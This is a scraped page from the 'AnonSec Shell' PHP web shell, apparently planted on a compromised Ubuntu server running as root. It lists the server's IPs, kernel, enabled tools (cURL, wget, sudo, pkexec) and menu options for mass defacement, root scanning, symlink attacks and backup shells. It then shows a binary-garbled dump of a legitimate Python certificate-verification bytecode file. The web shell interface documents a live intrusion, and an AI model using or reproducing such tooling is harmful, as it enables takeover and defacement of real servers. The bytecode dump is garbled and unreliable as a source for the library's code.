AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/service_identity/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/service_identity/__pycache__/cryptography.cpython-310.pyc
o

��\q�@s�dZddlmZmZmZddlZddlmZmZm	Z	m
Z
mZmZm
Z
ddlmZddlmZddlmZdd	lmZmZmZmZmZmZmZmZdd
lmZdgZdd�Z d
d�Z!ed�Z"dd�Z#dS)zL
`cryptography.x509 <https://github.com/pyca/cryptography>`_-specific code.
�)�absolute_import�division�print_functionN)�DNSName�ExtensionOID�	IPAddress�NameOID�ObjectIdentifier�	OtherName�UniformResourceIdentifier)�ExtensionNotFound)�decode)�	IA5String�)�DNS_ID�CertificateError�
DNSPattern�IPAddress_ID�IPAddressPattern�
SRVPattern�
URIPattern�verify_service_identity)�SubjectAltNameWarning�verify_certificate_hostnamecC�tt|�t|�ggd�dS)a�
    Verify whether *certificate* is valid for *hostname*.

    .. note:: Nothing is verified about the *authority* of the certificate;
       the caller must verify that the certificate chains to an appropriate
       trust root themselves.

    :param cryptography.x509.Certificate certificate: A cryptography X509
        certificate object.
    :param unicode hostname: The hostname that *certificate* should be valid
        for.

    :raises service_identity.VerificationError: If *certificate* is not valid
        for *hostname*.
    :raises service_identity.CertificateError: If *certificate* contains
        invalid/unexpected data.

    :returns: ``None``
    ��
cert_patterns�obligatory_ids�optional_idsN)r�extract_idsr)�certificate�hostname�r"�?/usr/lib/python3/dist-packages/service_identity/cryptography.pyr&s

�cCr)a�
    Verify whether *certificate* is valid for *ip_address*.

    .. note:: Nothing is verified about the *authority* of the certificate;
       the caller must verify that the certificate chains to an appropriate
       trust root themselves.

    :param cryptography.x509.Certificate certificate: A cryptography X509
        certificate object.
    :param unicode ip_address: The IP address that *connection* should be valid
        for.  Can be an IPv4 or IPv6 address.

    :raises service_identity.VerificationError: If *certificate* is not valid
        for *ip_address*.
    :raises service_identity.CertificateError: If *certificate* contains
        invalid/unexpected data.

    :returns: ``None``

    .. versionadded:: 18.1.0
    rN)rrr)r �
ip_addressr"r"r#�verify_certificate_ip_addressAs

�r%z1.3.6.1.5.5.7.8.7cCsg}z	|j�tj�}Wn	tyYnSw|�dd�|j�t�D��|�dd�|j�t	�D��|�dd�|j�t
�D��|j�t�D]!}|jt
krft|j�\}}t|t�rb|�t|����qEtd��qE|s�dd�|j�tj�D�}tt|�d�}dd�|D�}t�d	�|�t�|S)
a
    Extract all valid IDs from a certificate for service verification.

    If *cert* doesn't contain any identifiers, the ``CN``s are used as DNS-IDs
    as fallback.

    :param cryptography.x509.Certificate cert: The certificate to be dissected.

    :return: List of IDs.
    cS�g|]	}t|�d���qS�zutf-8�r�encode)�.0�namer"r"r#�
<listcomp>u���zextract_ids.<locals>.<listcomp>cSr&r')rr))r*�urir"r"r#r,{r-cSsg|]}t|��qSr")r)r*�ipr"r"r#r,�s��zUnexpected certificate content.cSsg|]}|j�qSr")�value�r*�nr"r"r#r,�s��s<not given>cSr&r'r(r1r"r"r#r,�sz�Certificate with CN {!r} has no `subjectAltName`, falling back to check for a `commonName` for now.  This feature is being removed by major browsers and deprecated by RFC 2818.)�
extensions�get_extension_for_oidr�SUBJECT_ALTERNATIVE_NAMEr�extendr0�get_values_for_typerrrr
�type_id�
ID_ON_DNS_SRVr
�
isinstancer�appendr�asOctetsr�subject�get_attributes_for_oidr�COMMON_NAME�next�iter�warnings�warn�formatr)�cert�ids�ext�other�srv�_�cns�cnr"r"r#rasX��
�����
��

���r)$�__doc__�
__future__rrrrB�cryptography.x509rrrrr	r
r�cryptography.x509.extensionsr�pyasn1.codec.der.decoderr
�pyasn1.type.charr�_commonrrrrrrrr�
exceptionsr�__all__rr%r9rr"r"r"r#�<module>s$	(


Anon7 - 2022
AnonSec Team